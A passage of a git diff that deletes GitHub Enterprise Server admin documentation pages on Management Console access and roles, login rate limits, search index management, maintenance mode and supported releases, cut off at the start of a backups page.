variables.enterprise.management_console %}. {% ifversion management-console-editor %}The root site administrator account can control these user accounts' access by assigning either the editor or operator role. {% endif %}For more information, see [AUTOTITLE](/admin/configuration/administering-your-instance-from-the-management-console/managing-access-to-the-management-console).{% ifversion management-console-editor %} - {% data reusables.enterprise.editor-role-note %}{% endif %} - -* **Configuring authentication policies for the {% data variables.enterprise.management_console %}:** Set rate limits for login attempts, and the lockout duration if someone exceeds the rate limit. For more information, see [AUTOTITLE](/admin/configuration/administering-your-instance-from-the-management-console/managing-access-to-the-management-console#configuring-rate-limits-for-authentication-to-the-management-console). -* **Configuring basic settings for your instance:** Configure DNS, hostname, SSL, user authentication, email, monitoring services, and log forwarding on the Settings page. -* **Scheduling maintenance windows:** Take {% data variables.location.product_location %} offline while performing maintenance using the {% data variables.enterprise.management_console %} or administrative shell. -* **Troubleshooting:** Generate a support bundle or view high level diagnostic information. -* **License management:** View or update your {% data variables.product.prodname_enterprise %} license. diff --git a/content/admin/administering-your-instance/administering-your-instance-from-the-web-ui/accessing-the-management-console.md b/content/admin/administering-your-instance/administering-your-instance-from-the-web-ui/accessing-the-management-console.md deleted file mode 100644 index 3b8c231ef9ba..000000000000 --- a/content/admin/administering-your-instance/administering-your-instance-from-the-web-ui/accessing-the-management-console.md +++ /dev/null @@ -1,35 +0,0 @@ ---- -title: Accessing the Management Console -shortTitle: Access Management Console -intro: 'You can access the {% data variables.enterprise.management_console %} as the root site administrator or a {% data variables.enterprise.management_console %} user.' -redirect_from: - - /admin/configuration/administering-your-instance-from-the-management-console/accessing-the-management-console -versions: - ghes: '*' -type: how_to -topics: - - Enterprise - - Authentication ---- - -{% data reusables.enterprise_site_admin_settings.management-console-access %} - -## Accessing the {% data variables.enterprise.management_console %} - -The first time that you access the {% data variables.enterprise.management_console %} for {% data variables.location.product_location %}, you must upload your license file. For more information, see [AUTOTITLE](/billing/managing-your-license-for-github-enterprise). - -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -{% data reusables.enterprise_management_console.type-management-console-password %} -{% data reusables.enterprise_management_console.click-continue-authentication %} - -## Accessing the {% data variables.enterprise.management_console %} as an unauthenticated user - -1. Visit this URL in your browser, replacing `hostname` with your actual {% data variables.product.prodname_ghe_server %} hostname or IP address: - - ```shell - http(s)://HOSTNAME/setup - ``` - -{% data reusables.enterprise_management_console.type-management-console-password %} -{% data reusables.enterprise_management_console.click-continue-authentication %} diff --git a/content/admin/administering-your-instance/administering-your-instance-from-the-web-ui/index.md b/content/admin/administering-your-instance/administering-your-instance-from-the-web-ui/index.md deleted file mode 100644 index 03efbbd0fe4f..000000000000 --- a/content/admin/administering-your-instance/administering-your-instance-from-the-web-ui/index.md +++ /dev/null @@ -1,36 +0,0 @@ ---- -title: Administering your instance from the web UI -intro: 'To perform administrative tasks for {% data variables.location.product_location %}, you can use the {% data variables.enterprise.management_console %} and site admin dashboard.' -redirect_from: - - /admin/configuration/configuring-your-enterprise/accessing-the-management-console - - /enterprise/admin/articles/about-the-management-console - - /enterprise/admin/articles/management-console-for-emergency-recovery - - /enterprise/admin/articles/web-based-management-console - - /enterprise/admin/categories/management-console - - /enterprise/admin/articles/accessing-the-management-console - - /enterprise/admin/guides/installation/web-based-management-console - - /enterprise/admin/installation/accessing-the-management-console - - /enterprise/admin/configuration/accessing-the-management-console - - /admin/configuration/accessing-the-management-console - - /admin/configuration/administering-your-instance-from-the-management-console - - /enterprise/admin/articles/site-admin-dashboard - - /enterprise/admin/installation/site-admin-dashboard - - /enterprise/admin/configuration/site-admin-dashboard - - /admin/configuration/site-admin-dashboard - - /admin/configuration/configuring-your-enterprise/site-admin-dashboard - - /admin/administering-your-instance/site-admin-dashboard - - /admin/administering-your-instance/administering-your-instance-from-the-web-ui/site-admin-dashboard -versions: - ghes: '*' -type: how_to -topics: - - Enterprise -children: - - /about-the-management-console - - /managing-access-to-the-management-console - - /accessing-the-management-console - - /troubleshooting-access-to-the-management-console - - /managing-search-indices-for-your-instance -shortTitle: Web UI ---- - diff --git a/content/admin/administering-your-instance/administering-your-instance-from-the-web-ui/managing-access-to-the-management-console.md b/content/admin/administering-your-instance/administering-your-instance-from-the-web-ui/managing-access-to-the-management-console.md deleted file mode 100644 index 5b84c2379fea..000000000000 --- a/content/admin/administering-your-instance/administering-your-instance-from-the-web-ui/managing-access-to-the-management-console.md +++ /dev/null @@ -1,83 +0,0 @@ ---- -title: Managing access to the Management Console -shortTitle: Manage Management Console access -intro: 'You can increase the security of {% data variables.location.product_location %} by creating or deleting {% data variables.enterprise.management_console %} users. As the root site administrator, you can access the {% data variables.enterprise.management_console %} as well as configure {% data variables.enterprise.management_console %} authentication rate limits.' -redirect_from: - - /admin/configuration/administering-your-instance-from-the-management-console/managing-access-to-the-management-console -versions: - ghes: '*' -type: how_to -topics: - - Enterprise - - Authentication - - SSH - - User account ---- - -{% data reusables.enterprise_site_admin_settings.management-console-access %} For more information about {% data variables.enterprise.management_console %} access, see [AUTOTITLE](/admin/configuration/administering-your-instance-from-the-management-console). - -{% ifversion ghes-manage-api-cli-extension %}You can also use the `gh es` {% data variables.product.prodname_cli %} extension to manage the root site administrator password, which controls access to the Management Console. For more information, see the [GH ES CLI usage documentation](https://github.com/github/gh-es/blob/main/USAGE.md#gh-es-access-set-password) and [AUTOTITLE](/admin/administering-your-instance/administering-your-instance-from-the-command-line/administering-your-instance-using-the-github-cli).{% endif %} - -## Types of {% data variables.enterprise.management_console %} accounts - -There are two types of user accounts for the {% data variables.enterprise.management_console %} on a {% data variables.product.prodname_ghe_server %} instance. The root site administrator account authenticates with a password established during the initial setup of {% data variables.location.product_location %}. - -The root site administrator can create additional accounts{% ifversion management-console-editor %}, and assign one of two roles to each{% endif %}. - -### Root site administrator - -Root site administrators have complete control over the {% data variables.enterprise.management_console %}. They can take every action in the {% data variables.enterprise.management_console %}, including creating and deleting {% data variables.enterprise.management_console %} user accounts. - -Only the root site administrator can create and delete {% data variables.enterprise.management_console %} user accounts. - -### {% data variables.enterprise.management_console %} user - -{% data variables.enterprise.management_console %} users can perform most administrative tasks for {% data variables.location.product_location %}. For heightened security, {% data variables.enterprise.management_console %} users cannot create or delete {% data variables.enterprise.management_console %} user accounts. - -{% ifversion management-console-editor %} - -Only {% data variables.enterprise.management_console %} users with the operator role can manage SSH keys. - -{% data reusables.enterprise.editor-role-note %} - -The root site administrator can provision one of two roles for {% data variables.enterprise.management_console %} users: - -* **Editor:** A {% data variables.enterprise.management_console %} user with the editor role can perform basic administrative tasks for {% data variables.location.product_location %} in the {% data variables.enterprise.management_console %}. Editors cannot add public SSH keys to the {% data variables.enterprise.management_console %} to grant administrative SSH access to the instance. -* **Operator:** A {% data variables.enterprise.management_console %} user with the operator role -{%- else %} -{% data variables.enterprise.management_console %} users, sometimes called operators, -{%- endif %} can perform basic administrative tasks for {% data variables.location.product_location %} in the {% data variables.enterprise.management_console %} and can add SSH keys to the {% data variables.enterprise.management_console %} to grant administrative access to the instance via SSH. - -## Creating or deleting a user account for the {% data variables.enterprise.management_console %} - -While signed into the {% data variables.enterprise.management_console %} as the root site administrator, you can create new {% data variables.enterprise.management_console %} user accounts. - -{% data reusables.enterprise_site_admin_settings.click-user-management %} -1. Click **Create user**. -1. Fill in the user's name, username, and email address. -{% ifversion management-console-editor %}1. Use the drop-down menu to select the user's role. You may select the editor or operator role.{% endif %} -1. To finish creating the user account, click **Create**. If email notifications are configured for the instance, the user will automatically receive an invitation email with access instructions for the {% data variables.enterprise.management_console %}. For more information, see [Inviting new {% data variables.enterprise.management_console %} users](#inviting-new-management-console-users). -1. Optionally, to delete a {% data variables.enterprise.management_console %} user account, click {% octicon "trash" aria-label="The trash symbol" %} to the right of any user account you wish to delete. Then confirm deletion. - -## Inviting new {% data variables.enterprise.management_console %} users - -If you have configured email for notifications for {% data variables.location.product_location %}, new {% data variables.enterprise.management_console %} users will automatically receive an invitation to complete creation of the {% data variables.enterprise.management_console %} user account. For more information, see [AUTOTITLE](/admin/configuration/configuring-your-enterprise/configuring-email-for-notifications). - -If you have not configured email notifications for {% data variables.location.product_location %}, you must manually copy the {% data variables.enterprise.management_console %} invitation link and send it to the user. The user must set a password using the link before the user can access the {% data variables.enterprise.management_console %}. - -{% data reusables.enterprise_site_admin_settings.sign-in-as-root-administrator %} -{% data reusables.enterprise_site_admin_settings.click-user-management %} -1. To copy the invitation link, click {% octicon "link" aria-label="Copy invitation link" %} on any {% data variables.enterprise.management_console %} user account. -1. Send the invitation link to the {% data variables.enterprise.management_console %} user. The invitation link will lead the user through the final account setup steps. - -## Configuring rate limits for authentication to the {% data variables.enterprise.management_console %} - -You can configure the lockout time and login attempt limits for the {% data variables.enterprise.management_console %}. - -After you configure rate limits and a {% data variables.enterprise.management_console %} user exceeds the limit, the {% data variables.enterprise.management_console %} will remain locked for the duration set by the lockout time. {% data reusables.enterprise_management_console.unlocking-management-console-with-shell %} - -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -1. Optionally, under "Lockout time for Management Console users", type a number of minutes to lock the {% data variables.enterprise.management_console %} after too many failed login attempts. When locked out, the root site administrator must be manually unlocked. -1. Optionally, under "Login attempt limit for all users", type a maximum number of failed login attempts to allow before the {% data variables.enterprise.management_console %} is locked. -{% data reusables.enterprise_management_console.save-settings %} diff --git a/content/admin/administering-your-instance/administering-your-instance-from-the-web-ui/managing-search-indices-for-your-instance.md b/content/admin/administering-your-instance/administering-your-instance-from-the-web-ui/managing-search-indices-for-your-instance.md deleted file mode 100644 index 21644d74fbae..000000000000 --- a/content/admin/administering-your-instance/administering-your-instance-from-the-web-ui/managing-search-indices-for-your-instance.md +++ /dev/null @@ -1,94 +0,0 @@ ---- -title: Managing search indices for your instance -shortTitle: Manage search indices -intro: '{% data variables.product.prodname_ghe_server %} uses Elasticsearch to power search features, and provides tools for managing search and index behavior.' -permissions: Enterprise owners can manage search indices for a {% data variables.product.prodname_ghe_server %} instance. -versions: - ghes: '*' -type: reference -topics: - - Enterprise - - Fundamentals ---- - -## About search for {% data variables.product.prodname_ghe_server %} - -Users can search your instance to find, navigate, and understand issues, pull requests, code, and other content on {% data variables.product.prodname_ghe_server %}. Elasticsearch powers the search functionality on your instance. You can view the current status of Elasticsearch, and you can control search and index behavior. - -For more information about search for {% data variables.product.prodname_ghe_server %}, see [AUTOTITLE](/search-github). For more information about Elasticsearch, see the [Elasticsearch website](https://elastic.co). - -## About index management - -{% data variables.product.prodname_ghe_server %} reconciles the state of the search index with data on the instance automatically and regularly, including: - -* Issues, pull requests, repositories, and users in the database -* Git repositories (source code) on disk - -In normal use, enterprise owners do not need to create new indices or schedule repair jobs. For troubleshooting or other support purposes, {% data variables.contact.github_support %} may instruct you to run a repair job. - -## Viewing search indices - -1. In the upper-right corner of any page, click {% octicon "rocket" aria-label="Site admin" %}. -1. In the left sidebar, click **Search indexes**. -1. Under "Index management", click the search index you want to view. - -## Creating a new search index - -1. In the upper-right corner of any page, click {% octicon "rocket" aria-label="Site admin" %}. -1. In the left sidebar, click **Search indexes**. -1. Next to "Index management", click **Create new index**. -1. Select the **Select the index to create** dropdown, then click the search index you want to create. -1. If you want the index to be searchable, select the **Make this index searchable** checkbox. -1. If you want the index to be writable, select the **Make this index writable** checkbox. -1. Click **Create index**. -1. If your instance uses a high availability or cluster configuration, you will need to run a script to ensure the number of search indices is correctly configured across the instance. - - Access the administrative shell for your primary appliance via SSH, then run one of the following commands. - - For high availability configurations: - - ```shell copy - /usr/local/share/enterprise/ghe-es-auto-expand -v 0-all - ``` - - For cluster configurations: - - ```shell copy - /usr/local/share/enterprise/ghe-es-auto-expand -v 0-1 - ``` - - See [AUTOTITLE](/admin/administering-your-instance/administering-your-instance-from-the-command-line/accessing-the-administrative-shell-ssh). - -## Managing search indices - -When you view an existing search index in the site admin dashboard, you can perform the following actions: - -* Make the index searchable. -* Make the index writable. -* Update the index. -* Delete the index. -* Reset the index repair state. -* Start a new index repair job. -* Enable or disable index repair jobs. - -## Managing code search - -You can enable or disable both search and index operations for source code. For more information about code search, see [AUTOTITLE](/search-github/searching-on-github/searching-code). - -1. In the upper-right corner of any page, click {% octicon "rocket" aria-label="Site admin" %}. -1. In the left sidebar, click **Search indexes**. -1. In the "Code search" section, next to "Searching" or "Indexing", click **Enable** or **Disable**. - -## Repairing search indices - -Your instance uses repair jobs to reconcile the data, and schedules a repair job in the background when the following events occur: - -* A new search index is created. -* Missing data needs to be backfilled. -* Old search data needs to be updated. - -In the "Repair" section of the search index, a progress bar shows the current status of a repair job across background workers. You can ignore the value shown in the progress bar after a repair job has completed. The progress bar shows the difference between the repair offset and the highest record ID in the database, and will decrease as more repositories are added to {% data variables.location.product_location %} even though those repositories are actually indexed. - -To minimize the effects on I/O performance and reduce the chances of operations timing out, run the repair job during off-peak hours. As the job reconciles the search index with database and Git repository data, one CPU will be used. Monitor your system's load averages and CPU usage with a utility like `top`. If you don't notice any significant increase in resource consumption, it should also be safe to run an index repair job during peak hours. - -Repair jobs use a "repair offset" for parallelization. This is an offset into the database table for the record being reconciled. Multiple background jobs can synchronize work based on this offset. diff --git a/content/admin/administering-your-instance/administering-your-instance-from-the-web-ui/troubleshooting-access-to-the-management-console.md b/content/admin/administering-your-instance/administering-your-instance-from-the-web-ui/troubleshooting-access-to-the-management-console.md deleted file mode 100644 index 3465436aa712..000000000000 --- a/content/admin/administering-your-instance/administering-your-instance-from-the-web-ui/troubleshooting-access-to-the-management-console.md +++ /dev/null @@ -1,43 +0,0 @@ ---- -title: Troubleshooting access to the Management Console -shortTitle: Troubleshoot Management Console -intro: 'You can troubleshoot access problems for the {% data variables.enterprise.management_console %}.' -redirect_from: - - /admin/configuration/administering-your-instance-from-the-management-console/troubleshooting-access-to-the-management-console -versions: - ghes: '*' -type: how_to -topics: - - Enterprise - - Authentication - - SSH - - Troubleshooting ---- - -## About problems with {% data variables.enterprise.management_console %} access - -If you experience problems accessing the Management Console, you can try the following troubleshooting steps. - -## Unlocking the {% data variables.enterprise.management_console %} after failed login attempts - -The {% data variables.enterprise.management_console %} locks after the number of failed login attempts configured by your authentication policies. For more information, see [AUTOTITLE](/admin/configuration/administering-your-instance-from-the-management-console/managing-access-to-the-management-console#configuring-rate-limits-for-authentication-to-the-management-console). - -### Unlocking the root site administrator account - -{% data reusables.enterprise_management_console.unlocking-management-console-with-shell %} - -### Unlocking a {% data variables.enterprise.management_console %} user account - -The root site administrator can unlock access to the {% data variables.enterprise.management_console %} for other user accounts. - -{% data reusables.enterprise_site_admin_settings.sign-in-as-root-administrator %} -{% data reusables.enterprise_site_admin_settings.click-user-management %} -1. Locked user accounts will appear as "State: blocked". To unblock the user and allow authentication, to the right of the user's details, click {% octicon "law" aria-label="Unblock user" %}. - -## Troubleshooting failed connections to the {% data variables.enterprise.management_console %} - -If you cannot connect to the {% data variables.enterprise.management_console %} on {% data variables.location.product_location %}, you can review the following information to troubleshoot the problem. - -### Error: "Your session has expired" for connections through a load balancer - -If you access {% data variables.location.product_location %} through a load balancer and connections to the {% data variables.enterprise.management_console %} fail with a message that your session has expired, you may need to reconfigure your load balancer. For more information, see [AUTOTITLE](/admin/configuration/configuring-network-settings/using-github-enterprise-server-with-a-load-balancer#error-your-session-has-expired-for-connections-to-the-management-console). diff --git a/content/admin/administering-your-instance/configuring-maintenance-mode/enabling-and-scheduling-maintenance-mode.md b/content/admin/administering-your-instance/configuring-maintenance-mode/enabling-and-scheduling-maintenance-mode.md deleted file mode 100644 index 18e3d3074df0..000000000000 --- a/content/admin/administering-your-instance/configuring-maintenance-mode/enabling-and-scheduling-maintenance-mode.md +++ /dev/null @@ -1,108 +0,0 @@ ---- -title: Enabling and scheduling maintenance mode -intro: 'Some standard maintenance procedures, such as upgrading {% data variables.location.product_location %} or restoring backups, require the instance to be taken offline for normal use.' -redirect_from: - - /enterprise/admin/maintenance-mode - - /enterprise/admin/categories/maintenance-mode - - /enterprise/admin/articles/maintenance-mode - - /enterprise/admin/articles/enabling-maintenance-mode - - /enterprise/admin/articles/disabling-maintenance-mode - - /enterprise/admin/guides/installation/maintenance-mode - - /enterprise/admin/installation/enabling-and-scheduling-maintenance-mode - - /enterprise/admin/configuration/enabling-and-scheduling-maintenance-mode - - /admin/configuration/enabling-and-scheduling-maintenance-mode - - /admin/configuration/configuring-your-enterprise/enabling-and-scheduling-maintenance-mode - - /admin/administering-your-instance/enabling-and-scheduling-maintenance-mode -versions: - ghes: '*' -type: how_to -topics: - - Enterprise - - Fundamentals - - Maintenance - - Upgrades -shortTitle: Configure maintenance mode ---- - -## About maintenance mode - -Some types of operations require that you take {% data variables.location.product_location %} offline and put it into maintenance mode: -* Upgrading to a new version of {% data variables.product.prodname_ghe_server %} -* Increasing CPU, memory, or storage resources allocated to the virtual machine -* Migrating data from one virtual machine to another -* Restoring data from a {% data variables.product.prodname_enterprise_backup_utilities %} snapshot -* Troubleshooting certain types of critical application issues - -We recommend that you schedule a maintenance window for at least 30 minutes in the future to give users time to prepare. When a maintenance window is scheduled, all users will see a banner when accessing the site. - -When the instance is in maintenance mode, all normal HTTP and Git access is refused. This includes web and API requests, for which the appliance responds with status code `503` (Service Unavailable). Git fetch, clone, and push operations are also rejected with an error message indicating that the site is temporarily unavailable.{% ifversion ghes < 3.13 %} In high availability configurations, Git replication will be paused.{% endif %} GitHub Actions jobs will not be executed. Visiting the site in a browser results in a maintenance page. - -You can perform initial validation of your maintenance operation by configuring an IP exception list to allow access to {% data variables.location.product_location %} from only the IP addresses and ranges provided. Attempts to access {% data variables.location.product_location %} from IP addresses not specified on the IP exception list will receive a response consistent with those sent when the instance is in maintenance mode. - -## Enabling maintenance mode immediately or scheduling a maintenance window for a later time - -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -1. In the top navigation bar, click **Maintenance**. - - ![Screenshot of the header of the {% data variables.enterprise.management_console %}. A tab, labeled "Maintenance", is highlighted with an orange outline.](/assets/images/enterprise/management-console/maintenance-tab.png) -1. Under "Enable and schedule", select **Enable maintenance mode**, then decide whether to enable maintenance mode immediately or to schedule a maintenance window for a future time. - * To enable maintenance mode immediately, select the dropdown menu and click **now**. - * To schedule a maintenance window for a future time, select the dropdown menu and click a start time. -{% data reusables.enterprise_management_console.custom-maintenance-message %} -1. When you're satisfied with the timing of the window and the optional message, click **Save**. If you selected "now", your instance will be put into maintenance mode immediately. - -## Validating changes in maintenance mode using the IP exception list - -The IP exception list provides controlled and restricted access to {% data variables.location.product_location %}, which is ideal for initial validation of server health following a maintenance operation. Once enabled, {% data variables.location.product_location %} will be taken out of maintenance mode and available only to the configured IP addresses. The maintenance mode checkbox will be updated to reflect the change in state. - -If you re-enable maintenance mode, the IP exception list will be disabled and {% data variables.location.product_location %} will return to maintenance mode. If you just disable the IP exception list, {% data variables.location.product_location %} will return to normal operation. - -You can also use a command-line utility to configure the IP exception list. For more information, see [AUTOTITLE](/admin/configuration/configuring-your-enterprise/command-line-utilities#ghe-maintenance) and [AUTOTITLE](/admin/configuration/configuring-your-enterprise/accessing-the-administrative-shell-ssh). - -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -1. In the top navigation bar, click **Maintenance**, then confirm maintenance mode is already enabled. - - ![Screenshot of the header of the {% data variables.enterprise.management_console %}. A tab, labeled "Maintenance", is highlighted with an orange outline.](/assets/images/enterprise/management-console/maintenance-tab.png) -1. Under "Enable and configure IP exception list", select **Enable IP exception list**. -1. To the right of the checkbox for enabling the list, type a valid list of space-separated IP addresses or CIDR blocks that should be allowed to access {% data variables.location.product_location %}. -{% data reusables.enterprise_management_console.custom-maintenance-message %} -1. Click **Save**. - -## Managing maintenance mode using the REST API - -You can manage maintenance mode on {% data variables.location.product_location %} using the REST API. For more information, see [AUTOTITLE](/rest/enterprise-admin/manage-ghes#get-the-status-of-maintenance-mode). - -{% ifversion ghes-manage-api-cli-extension %} - -## Managing maintenance mode using the {% data variables.product.prodname_cli %} - -You can manage maintenance mode on {% data variables.location.product_location %} using the {% data variables.product.prodname_cli %} `gh es` extension. For more information, see the GH ES CLI usage documentation for [`gh es maintenance set`](https://github.com/github/gh-es/blob/main/USAGE.md#gh-es-maintenance-set) and [`gh es maintenance get`](https://github.com/github/gh-es/blob/main/USAGE.md#gh-es-maintenance-get). - -For more information, see [AUTOTITLE](/admin/administering-your-instance/administering-your-instance-from-the-command-line/administering-your-instance-using-the-github-cli). - -{% endif %} - -## Managing maintenance mode using SSH - -If you have SSH access, you can use the `ghe-maintenance` command line utility to can set or unset maintenance mode for a {% data variables.product.prodname_ghe_server %} instance with one node, or multiple nodes in a high-availability configuration. For more information, see [AUTOTITLE](/admin/administering-your-instance/administering-your-instance-from-the-command-line/accessing-the-administrative-shell-ssh) and [AUTOTITLE](/admin/administering-your-instance/administering-your-instance-from-the-command-line/command-line-utilities#ghe-maintenance). - -## Managing maintenance mode for a cluster using SSH - -If you have SSH access to your {% data variables.product.prodname_ghe_server %} instance, you can use the `ghe-cluster-maintenance` command line utility to set or unset maintenance mode for every node in a cluster. For more information, see [AUTOTITLE](/admin/administering-your-instance/administering-your-instance-from-the-command-line/accessing-the-administrative-shell-ssh) and [AUTOTITLE](/admin/administering-your-instance/administering-your-instance-from-the-command-line/command-line-utilities#ghe-cluster-maintenance). - -```shell -$ ghe-cluster-maintenance -h -# Shows options -$ ghe-cluster-maintenance -q -# Queries the current mode -$ ghe-cluster-maintenance -s -# Sets maintenance mode -$ ghe-cluster-maintenance -s "MESSAGE" -# Sets maintenance mode with a custom message -$ ghe-cluster-maintenance -m "MESSAGE" -# Updates the custom message -$ ghe-cluster-maintenance -u -# Unsets maintenance mode -``` diff --git a/content/admin/administering-your-instance/configuring-maintenance-mode/index.md b/content/admin/administering-your-instance/configuring-maintenance-mode/index.md deleted file mode 100644 index ea6945129b3f..000000000000 --- a/content/admin/administering-your-instance/configuring-maintenance-mode/index.md +++ /dev/null @@ -1,13 +0,0 @@ ---- -title: Configuring maintenance mode -intro: 'To control availability of {% data variables.location.product_location %} during maintenance, you can configure maintenance mode.' -versions: - ghes: '*' -type: how_to -topics: - - Enterprise -children: - - /enabling-and-scheduling-maintenance-mode -shortTitle: Maintenance mode ---- - diff --git a/content/admin/administering-your-instance/index.md b/content/admin/administering-your-instance/index.md deleted file mode 100644 index 4e3f001592d0..000000000000 --- a/content/admin/administering-your-instance/index.md +++ /dev/null @@ -1,14 +0,0 @@ ---- -title: Administering your instance -shortTitle: Administer your instance -intro: 'You can administer your instance using the {% data variables.enterprise.management_console %}, site admin dashboard, SSH, and command-line utilities.' -versions: - ghes: '*' -type: how_to -topics: - - Enterprise -children: - - /administering-your-instance-from-the-web-ui - - /administering-your-instance-from-the-command-line - - /configuring-maintenance-mode ---- diff --git a/content/admin/all-releases.md b/content/admin/all-releases.md deleted file mode 100644 index a529773fa0f5..000000000000 --- a/content/admin/all-releases.md +++ /dev/null @@ -1,79 +0,0 @@ ---- -title: GitHub Enterprise Server releases -intro: "Review information for each version of {% data variables.product.prodname_ghe_server %}: {% data variables.release-phases.closing_down %} dates, links to documentation, and minimum recommended versions of supporting applications." -allowTitleToDifferFromFilename: true -versions: - ghes: '*' -topics: - - Enterprise - - Upgrades -shortTitle: Releases ---- - -{% data reusables.enterprise.constantly-improving %} See [AUTOTITLE](/admin/overview/about-upgrades-to-new-releases). - -## Releases of {% data variables.product.prodname_ghe_server %} - -{% data variables.product.company_short %} supports the **four** most recent feature releases. - -We provide documentation for both supported and unsupported versions of {% data variables.product.prodname_ghe_server %}. We do not maintain or update the documentation for unsupported versions. - -For information about the latest release, see the [{% data variables.product.prodname_enterprise %}](https://github.com/enterprise) website. - -| Version | Release | {% data variables.release-phases.closing_down_caps %} date | Supported | Release notes | Documentation | -| :- | :- | :- | :-: | :- | :- | -{%- for version in enterpriseServerReleases.supported %} -{%- assign currentDate = 'now' | date: '%s' %} -{%- assign deprecationDate = enterpriseServerReleases.dates[version].deprecationDate | date: '%s' %} -| {{version}} | {{enterpriseServerReleases.dates[version].releaseDate}} | {{enterpriseServerReleases.dates[version].deprecationDate}} | {% if currentDate < deprecationDate %}{% octicon "check" aria-label="Supported" %}{% else %}{% octicon "x" aria-label="Not supported" %}{% endif %} | [{{version}} release notes](/enterprise-server@{{version}}/admin/release-notes) | [{{version}} documentation](/enterprise-server@{{version}}) | -{%- endfor %} -{%- for version in enterpriseServerReleases.deprecatedReleasesWithNewFormat %} -| {{version}} | {{enterpriseServerReleases.dates[version].releaseDate}} | {{enterpriseServerReleases.dates[version].deprecationDate}} | {% octicon "x" aria-label="Not supported" %} | [{{version}} release notes](/enterprise-server@{{version}}/admin/release-notes) | [{{version}} documentation](/enterprise-server@{{version}}) | -{%- endfor %} -{%- for version in enterpriseServerReleases.deprecatedReleasesWithLegacyFormat %} -| {{version}} | {{enterpriseServerReleases.dates[version].releaseDate}} | {{enterpriseServerReleases.dates[version].deprecationDate}} | {% octicon "x" aria-label="Not supported" %} | [{{version}} release notes](https://enterprise.github.com/releases/series/{{version}}) | [{{version}} documentation](/enterprise/{{version}}) | -{%- endfor %} - -### Developer documentation that is {% data variables.release-phases.closing_down %} - -We hosted developer documentation for {% data variables.product.prodname_ghe_server %} on a separate site until the 2.17 release. We provide developer documentation for version 2.16 and earlier, but do not maintain or update the documentation. - -| Version | Release | {% data variables.release-phases.closing_down_caps %} date | Developer documentation | -| :- | :- | :- | :- | -{%- for version in enterpriseServerReleases.deprecatedReleasesOnDeveloperSite %} -| {{version}} | {{enterpriseServerReleases.dates[version].releaseDate}} | {{enterpriseServerReleases.dates[version].deprecationDate}} | [{{version}} developer documentation](https://developer.github.com/enterprise/{{version}}) | -{%- endfor %} - -## Recommended {% data variables.product.prodname_codeql_cli %} versions for code scanning - -For instances with a {% data variables.product.prodname_GHAS_or_code_security %} license and {% data variables.product.prodname_code_scanning %} enabled, the {% data variables.product.prodname_codeql %} action for {% data variables.product.prodname_code_scanning %} analysis uses a minimum recommended version of the {% data variables.product.prodname_codeql_cli %} by default. - -If you run analysis in an external CI system, we recommend using the same version of the {% data variables.product.prodname_codeql_cli %}. See [AUTOTITLE](/admin/code-security/managing-github-advanced-security-for-your-enterprise/configuring-code-scanning-for-your-appliance). - -| {% data variables.product.prodname_ghe_server %} version | Recommended {% data variables.product.prodname_codeql_cli %} version | -| ------------------------------------------------- | ---------------------- | -| 3.15 | 2.18.4 ([changelog](https://codeql.github.com/docs/codeql-overview/codeql-changelog/codeql-cli-2.18.4/)) | -| 3.14 | 2.17.6 ([changelog](https://codeql.github.com/docs/codeql-overview/codeql-changelog/codeql-cli-2.17.6/)) | -| 3.13 | 2.16.5 ([changelog](https://codeql.github.com/docs/codeql-overview/codeql-changelog/codeql-cli-2.16.5/)) | -| 3.12 | 2.15.5 ([changelog](https://codeql.github.com/docs/codeql-overview/codeql-changelog/codeql-cli-2.15.5/)) | -| 3.11 | 2.14.6 ([changelog](https://codeql.github.com/docs/codeql-overview/codeql-changelog/codeql-cli-2.14.6/)) | -| 3.10 | 2.13.5 ([changelog](https://codeql.github.com/docs/codeql-overview/codeql-changelog/codeql-cli-2.13.5/)) | -| 3.9 | 2.12.7 ([changelog](https://codeql.github.com/docs/codeql-overview/codeql-changelog/codeql-cli-2.12.7/)) | - -## Minimum {% data variables.product.prodname_actions %} Runner application versions - -For instances with {% data variables.product.prodname_actions %} enabled, self-hosted {% data variables.product.prodname_actions %} runners must run a minimum required version of the {% data variables.product.prodname_actions %} Runner application. - -* For most instances, the Runner application is updated automatically. -* If your instance uses ephemeral self-hosted runners and you've disabled automatic updates, you must upgrade your runners before upgrading {% data variables.product.prodname_ghe_server %}. See [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/about-self-hosted-runners#requirements-for-self-hosted-runner-machines). - -| {% data variables.product.prodname_ghe_server %} version | Minimum Runner version | -| ------------------------------------------------- | ---------------------- | -| 3.16 | 2.321.0 ([release notes](https://github.com/actions/runner/releases/tag/v2.321.0)) | -| 3.15 | 2.319.1 ([release notes](https://github.com/actions/runner/releases/tag/v2.319.1)) | -| 3.14 | 2.317.0 ([release notes](https://github.com/actions/runner/releases/tag/v2.317.0)) | -| 3.13 | 2.314.1 ([release notes](https://github.com/actions/runner/releases/tag/v2.314.1)) | -| 3.12 | 2.311.0 ([release notes](https://github.com/actions/runner/releases/tag/v2.311.0)) | -| 3.11 | 2.309.0 ([release notes](https://github.com/actions/runner/releases/tag/v2.309.0)) | -| 3.10 | 2.304.0 ([release notes](https://github.com/actions/runner/releases/tag/v2.304.0)) | -| 3.9 | 2.303.0 ([release notes](https://github.com/actions/runner/releases/tag/v2.303.0)) | diff --git a/content/admin/backing-up-and-restoring-your-instance/configuring-backups-on-your-instance.md b/content/admin/backing-up-and-restoring-your-instance/configuring-backups-on-your-instance.md deleted file mode 100644 index b51d54a49d33..000000000000 --- a/content/admin/backing-up-and-restoring-your-instance/configuring-backups-on-your-instance.md +++ /dev/null @@ -1,205 +0,0 @@ ---- -title: Configuring backups on your instance -shortTitle: Configuring backups -redirect_from: - - /enterprise/admin/categories/backups-and-restores - - /enterprise/admin/articles/backup-and-recovery - - /enterprise/admin/articles/backing-up-github-enterprise - - /enterprise/admin/articles/restoring-github-enterprise - - /enterprise/admin/articles/backing-up-repository-data - - /enterprise/admin/articles/restoring-enterprise-data - - /enterprise/admin/articles/restoring-repository-data - - /enterprise/admin/articles/backing-up-enterprise-data - - /enterprise/admin/guides/installation/backups-and-disaster-recovery - - /enterprise/admin/installation/configuring-backups-on-your-appliance - - /enterprise/admin/configuration/configuring-backups-on-your-appliance - - 